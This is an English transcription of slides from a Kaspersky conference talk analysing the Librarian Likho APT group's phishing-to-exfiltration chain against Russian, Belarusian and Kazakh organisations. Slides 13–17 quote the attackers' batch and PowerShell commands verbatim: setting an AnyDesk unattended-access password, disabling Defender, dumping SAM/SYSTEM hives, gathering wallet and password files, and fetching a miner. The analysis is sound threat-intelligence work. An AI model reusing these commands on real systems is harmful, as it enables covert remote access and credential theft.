MOSCOW FORENSICS DAY '25MFD '25

Slides / 11 of 19

Talk slides

Librarian Likho — an APT group combining cyberespionage and financial motivation

Alexey Shulmin · Kaspersky
Day 2 — Friday, 12 September 2025: information security day · Scheduled 11:40–12:10 · In the recording 04:50:31–05:28:02

An English deck and the text under the slides

These slides are an English version of the Russian deck shown in the recording: the text the authors set in the presentation has been translated and redrawn in place, while everything captured from a screen — program windows, logs, evidence — is left exactly as it was, in Russian. The fonts are the closest available ones, not the originals. The Russian deck is on the RU version of this page. Under each slide its text is set out for word search and machine reading.

  1. Slide 1 — Librarian Likho — an APT group combining cyberespionage and financial motivation
    Page 104:51:26

    Slide text

    MOSCOW

    FORENSICS

    DAY '25

    UVUL

    ALEXEY SHULMIN

    “LIBRARIAN LIKHO - AN APT GROUP COMBINING CYBERESPIONAGE AND FINANCIAL MOTIVATION”

    MFD

    MED

  2. Slide 2 — Librarian Likho — an APT group combining cyberespionage and financial motivation
    Page 204:51:51

    Slide text

    Librarian Likho - an APT group combining cyberespionage and financial motivation

    Alexey Shulmin

    kaspersky

    Malware Expert, Kaspersky

  3. Slide 3 — Librarian Likho — an APT group combining cyberespionage and financial motivation
    Page 304:52:58

    Slide text

    kaspersky

    Аналитический отчет

    2025

    330+ pages of expert material

    Attacker profile and the most interesting TTPs

    Breakdown of the most active groups, split into clusters

    Technical evidence of links between the groups inside each cluster

    Hundreds of detailed TTPs used by the groups described

    Group graphs with their indicators and links in Obsidian

    Записки цифрового

    ревизора

    три кластера угроз в киберпространстве

    kaspersky

  4. Slide 4 — Librarian Likho — an APT group combining cyberespionage and financial motivation
    Page 404:54:05

    Slide text

    3

    Librarian Likho APT

    (ex. Librarian Ghouls)

    (AKA Rare Werewolf, Rezet)

    kaspersky

  5. Slide 5 — Librarian Likho — an APT group combining cyberespionage and financial motivation
    Page 504:54:56

    Slide text

    Librarian Likho

    Librarian Likho APT:

    State-sponsored APT (another state's intelligence services are probably behind it);

    Main goal – cyberespionage, but why not earn steal some money?;

    Targets – Russia, Belarus, Kazakhstan: industry, research institutes and design bureaus, universities;

    • KISS (Keep It Simple, Stupid!).

    kaspersky

  6. Slide 6 — Librarian Likho — an APT group combining cyberespionage and financial motivation
    Page 604:56:40

    Slide text

    Initial Attack Vector

    Thu 7/18/2024 5:19 PM

    Николай Михайлов

    • ru>

    О ведении Каталога российской ЭКБ (6-3223 от 18.07.2024);

    5

    To

    Исх. 18.07.2024.Nº6.322... 1 MB

    Здравствуйте!

    В приложении список рассылки.

    Направляем в ваш эдрес документ ФГБУ С Пароль

    С уважением, канцелярия.

    Тел. +7 (495)!

    E-mail

    *-•...-. Конецпересылаемого сообщения --...

    Суважением, Ао!

    Initial attack vector – a phishing email

    kaspersky

  7. Slide 7 — Librarian Likho — an APT group combining cyberespionage and financial motivation
    Page 704:58:42

    Slide text

    Attachment (from another spearphishing email)

    "Ic - платежное порученние Nº 347298446725 - 2019.rar" "1c - платежное порученние Nº34729636725 - 2019.scr" SFX archive built with Smart Install Maker, containing:

    data.cab, a cabinet file with the malicious files;

    installer.config, the installer configuration file containing the commands to be run during installation;

    runtime.cab, a CAB file containing only a 36-byte header.

    The embedded CAB file data.cab contains the following files:

    decoy file in pdf format (=> \Intel\Payment Order # 131.pdf); legitimate executable – the curl utility (=> \Intel\curl.exe); malicious LNK file (=> \Intel\AnyDesk\bat.lnk).

    kaspersky

  8. Slide 8 — Librarian Likho — an APT group combining cyberespionage and financial motivation
    Page 805:00:06

    Slide text

    Decoy / red-herring file

    Поступ. в бакх. плат.

    Списано со сч. плат.

    ПЛАТЕЖНОЕ ПОРУЧЕНИЕ Mº

    131

    15.06.2024

    Дата

    Виз платежа

    Сухола прописью

    | Шесть сот рублей 00 копеек.

    Инн

    кПП

    600-00

    Сумна

    000

    Платетьшик: АКБ

    Банх платеть шика

    Банх потучателя

    КПП

    БИК Cr. Ne

    БИК Cr. Ne

    01

    Вид от

    Orep

    Потучатеть

    Код

    Pes 2oze

    Взносы на обязательное социальное страхование от несчастных случаев на производстве и профессионатьных заболеваний за май 2024 гола. Регистрационный номер

    Назначение платежа

    kaspersky

  9. Slide 9 — Librarian Likho — an APT group combining cyberespionage and financial motivation
    Page 905:01:02

    Slide text

    Installation actions

    After launch the installer performs the following actions, set in the configuration file:

    Adds the registry keys needed to install 4t Tray Minimizer (https://www.4t-niagara.com/)

    About 4t Niagara Software

    4t Niagara Software is a trading name used by Holbi Group Ltd, VAT GB234583502

    Contact Information

    Paradise Farm High Street Kempsford Fairford Gloucestershire GL7 4EU United Kingdom Contact us via the email support@4t-niagara.com or via the below online form:

    kaspersky

  10. Slide 10 — Librarian Likho — an APT group combining cyberespionage and financial motivation
    Page 1005:03:05

    Slide text

    Installation actions

    After launch the installer performs the following actions, set in the configuration file:

    Creates the file c:\Intel\rezet.cmd with shell commands, for example:

    • cmd.exe /c echo c: \Intel\ rezet.cmd cd c: \Intel\ • cmd.exe /c echo >> c:\Intel\ rezet.cmd ping -n 6 127.0.0.1

    The main thing is conspiracy (!), so the folder gets the “system” and “hidden” attributes.

    CONSPIRACY

    kaspersky

  11. Slide 11 — Librarian Likho — an APT group combining cyberespionage and financial motivation
    Page 1105:05:11

    Slide text

    Installation actions

    After launch the installer performs the following actions, set in the configuration file:

    Connects to the C2 and downloads the following files:

    driver.exe (a custom RAR 3.80, all console output stripped); blat.exe (the legitimate Blat utility for sending mail over SMTP); svchost.exe (AnyDesk RAT); • trays.rar (4t Tray Minimizer); • wol.ps1; • dc.exe (Defender Control).

    Unpacks trays.rar with driver.exe using the password limpid2903392 (conspiracy, remember?), and puts the contents into C:\Intel. Then runs Trays.lnk, which starts 4t Tray Minimizer.

    kaspersky

  12. Slide 12 — Librarian Likho — an APT group combining cyberespionage and financial motivation
    Page 1205:06:49

    Slide text

    Installation actions

    Why do the attackers need 4t Tray Minimizer?

    У меня

    же

    лапки

    kaspersky

  13. Slide 13 — Librarian Likho — an APT group combining cyberespionage and financial motivation
    Page 1305:07:17

    Slide text

    Installation actions

    Finally, rezet.cmd runs bat.lnk, extracted earlier, which runs bat.bat.

    And that one, in turn:

    Sets the AnyDesk password QWERTY1234566, which lets the attackers connect to the victim with no permission prompt;

    Calls Defender Control to disable Windows Defender:

    2i Defender Control v1.7 - Command Line Info

    Usage: dc.exe ‹command>

    /E : Enable Windows Defender /D : Disable Windows Defender

    /Q : Queries Windows Defender Status

    Exsamples: dc.exe /E dc.exe /D dc.exe /Q

    Copyright @ 2015-2021 www.sordum.org All rights reserved.

    kaspersky

  14. Slide 14 — Librarian Likho — an APT group combining cyberespionage and financial motivation
    Page 1405:08:05

    Slide text

    Installation actions

    Bat.bat also:

    Calls powercfg (the PC power management utility) six times (!) to keep the victim available for a remote connection at any time;

    Uses schtasks to create the ShutdownAt5AM task, to shut the victim down at five a.m. every day.

    echo QWERTY1234566 | AnyDesk. exe --set-password _unattended_access %SYSTEMDRIVE%\Intel\dc.exe /D

    2

    powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0

    4

    5

    powercfg -change - standby-timeout-ac e

    powercg -change -hibernate-timeout-ac 0

    7

    powercg -h off powercg/SETDVALUEINDEX SCHEME_CURRENT 238c9fa8-@aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1

    8

    powercg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-@aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-eld2b4ac806d 1 schtasks /create /t "ShutdownAt5AM"/tr

    "shutdown /s /f /t 0" /sc daily /st 05:00

    10

    kaspersky

  15. Slide 15 — Librarian Likho — an APT group combining cyberespionage and financial motivation
    Page 1505:09:03

    Slide text

    Installation actions

    Also Bat.bat:

    runs the previously downloaded wol.ps1:

    SAction = New-ScheduledTaskAction -Execute "C: \Program Files (x86) \Microsoft \Edge \Application\msedge.exe" STrigger = New-ScheduledTaskTrigger -Daily -At "01:00AM" SPrincipal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest # Creating task settings STaskSettings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries - StartWhenAvailable -WakeToRun # Registering task in Task Scheduler Register-ScheduledTask -Action SAction -Principal SPrincipal -Trigger STrigger -TaskName "WakeUpAndLaunchEdge" -Settings STaskSettings - Force

    whose main purpose is to launch Microsoft Edge at 1:00 AM. We found no evidence that msedge.exe was replaced or patched, so the script runs the browser's genuine executable.

    This is done to “wake up” the victim at 1:00 AM, so the attackers get 4 hours for anything they want with the victim via AnyDesk.

    kaspersky

  16. Slide 16 — Librarian Likho — an APT group combining cyberespionage and financial motivation
    Page 1605:10:28

    Slide text

    Malicious actions

    Next, Bat.bat:

    deletes Trays.rar, curl and the AnyDesk installer (no longer needed);

    sets the variables for blat.exe to send the stolen data to the attackers; collects crypto wallet credentials, plus dumps of HKLM\SAM and HKLM\SYSTEM (done with reg.exe);

    packs the stolen data into an archive and sends it to the attackers (Blat):

    %SYSTEMDRIVE%\Intel \driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\ wallet.rar C:\ *парол*.* /y %SYSTEMDRIVE%\Intel \driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\ wallet.rar C:\*карт** /y %SYSTEMDRIVE%\Intel\ driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Inte/\ wallet.rar C:\ *кошельк** /y %SYSTEMDRIVE%\Intel\ driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Inte/\ wallet.rar :\wallet.dat /y %SYSTEMDRIVE%\Intel\ driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\ wallet.rar C:\ *wallet* doc* /y %SYSTEMDRIVE%\Intel\ driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Inte/\ wallet.rar C:\ *wallet*.txt /y %SYSTEMDRIVE%\Intel \driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\ wallet.rar C:\ *seed** /y %SYSTEMDRIVE%\Intel\ driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\ wallet.rar C: \keystore.json /y %SYSTEMDRIVE%\Intel\ driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\ wallet.rar C:\ *bitcoin** /Y

    %SYSTEMDRIVE%\Intel\ driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Inte/\ wallet.rar C:\ *usdt*.* /y %SYSTEMDRIVE%\Intel\ driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\ wallet.rar C:\ *ethereum** /y reg save hklm \sam %SYSTEMDRIVE%\Intel\sam.backup reg save hklm\system %SYSTEMDRIVE%\Inte/\ system.backup

    kaspersky

  17. Slide 17 — Librarian Likho — an APT group combining cyberespionage and financial motivation
    Page 1705:11:56

    Slide text

    Malicious actions

    Finally, bat.bat:

    deletes the folder C:\Intel\

    installs a miner into the system (legitimate, but used as malicious) (hxxps://bmapps[.]org/bmcontrol/win64/Install.exe), config - hxxps://bmapps[.]org/bmcontrol/win64/app.json

    deletes itself.

    kaspersky

    ГДЕ

    КАРТА

    БИЛЛИ?

  18. Slide 18 — Librarian Likho — an APT group combining cyberespionage and financial motivation
    Page 1805:13:03

    Slide text

    Legitimate tools, used by the adversaries

    The attackers used the following utilities in the attacks (KISS):

    A customized version of RAR 3.80; • Blat utility; • AnyDesk RAT software; • The Defender Control software; • The 4t Tray Minimizer software; • Mipko Personal Monitor (Ukrainian language set O); • WebBrowserPassView Tool; • Ngrok reverse proxy tool; • NirCmd.

    The attackers deliberately (?) used no binary implants in the attack.

    kaspersky

  19. Slide 19 — Librarian Likho — an APT group combining cyberespionage and financial motivation
    Page 1905:14:41

    Slide text

    Infrastructure fun

    < G® htp://users-mail.ru/loon.php

    Mail.ru Почта Облако Одноклассники ВКонтакте Новости Знакомства Все проекты !!!

    @mail i протр

    ad

    Войти

    Регистрация

    Войти в аккаунт

    @mail

    Яндекс

    M Gmail

    Другой

    Имя аккаунта

    Ввести пароль

    • запомнить

    Другие способы входа

    L VKID

    Войти через Госуслуги

    Восстановить доступ

    Создать аккаунт

    Быстрый вход по QR-коду

    Наведите камеру телефона Подробнее

    kaspersky

  20. Slide 20 — Librarian Likho — an APT group combining cyberespionage and financial motivation
    Page 2005:17:22

    Slide text

    Infrastructure fun

    © Index of /

    Index of /

    Name

    Last modified

    Size Description

    ChromeUpdate rar 2025-02-28 11:30 15M

    Trays. jpg

    2024-10-30 07:08 1.7M

    bat. jeg

    2024-11-13 08:03 4.0K

    bk. rar

    2025-02-28 09:461.7M

    2024-11-10 19:00 240K

    blat jeg

    driver exe

    2024-10-30 07:08 293K

    2025-03-0107:296.6

    pas.rar

    2024-10-30 07:08 5 1M

    svchost.jRg

    2024-11-13 08:03 670

    На В доступе отказано!

    < → C a downdown.ru/pma/

    Добро пожаловать в phpMyAdmin

    • Данные для входа не верны. В доступе отказано.

    kaspersky

  21. Slide 21 — Librarian Likho — an APT group combining cyberespionage and financial motivation
    Page 2105:18:48

    Slide text

    kaspersky

    Q&A Session